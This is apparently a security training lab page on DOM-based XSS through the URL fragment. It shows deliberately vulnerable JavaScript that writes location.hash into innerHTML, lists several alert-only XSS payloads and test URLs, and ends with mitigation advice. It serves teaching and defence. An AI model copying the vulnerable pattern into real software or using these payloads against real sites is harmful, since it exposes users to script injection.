Lab 1: URL Fragment DOM XSS

Client-side XSS using URL fragments (#)

Difficulty: Low

Lab Overview

This lab demonstrates a DOM XSS vulnerability where user input from the URL fragment (the part after #) is directly inserted into the DOM without proper sanitization.

Objective: Inject a DOM XSS payload using the URL fragment that will execute when the page loads.

Vulnerable JavaScript Code
// Vulnerable code - reads from URL fragment
window.onload = function() {
    // Get the fragment from the URL
    var fragment = window.location.hash.substring(1);
    
    // Vulnerable: Direct insertion into DOM
    if (fragment) {
        document.getElementById('output').innerHTML = 
            "Welcome, " + fragment + "!";
    }
};

// Alternative vulnerable code
document.addEventListener('DOMContentLoaded', function() {
    var hash = location.hash.slice(1);
    if (hash) {
        document.querySelector('#message').innerHTML = 
            "Hello " + hash + "!";
    }
});
Live Demo
Current URL:
URL Fragment:
Vulnerable Output:
Test URLs:

Try these URLs in your browser:

  • #John - Basic test
  • #<script>alert('XSS')</script> - XSS payload
  • #<img src=x onerror=alert('XSS')> - Image XSS
Vulnerability Details
  • Type: DOM XSS via URL Fragment
  • Severity: Medium
  • Source: window.location.hash
  • Sink: innerHTML
  • Trigger: Page load with fragment in URL
  • Issue: Direct insertion of user input into DOM
Test Payloads

Add these to the end of the URL after #:

  • <script>alert('XSS')</script>
  • <img src=x onerror=alert('XSS')>
  • <svg onload=alert('XSS')>
  • <iframe src="javascript:alert('XSS')"></iframe>
  • <body onload=alert('XSS')>

Example URL:

1.php#<script>alert('XSS')</script>
Real-World Attack Scenarios
Mitigation Strategies
  • Use textContent instead of innerHTML
  • Implement proper input validation and sanitization
  • Use Content Security Policy (CSP) headers
  • Avoid direct DOM manipulation with user input
  • Use safe DOM manipulation methods
  • Implement proper output encoding
  • Use a JavaScript security library like DOMPurify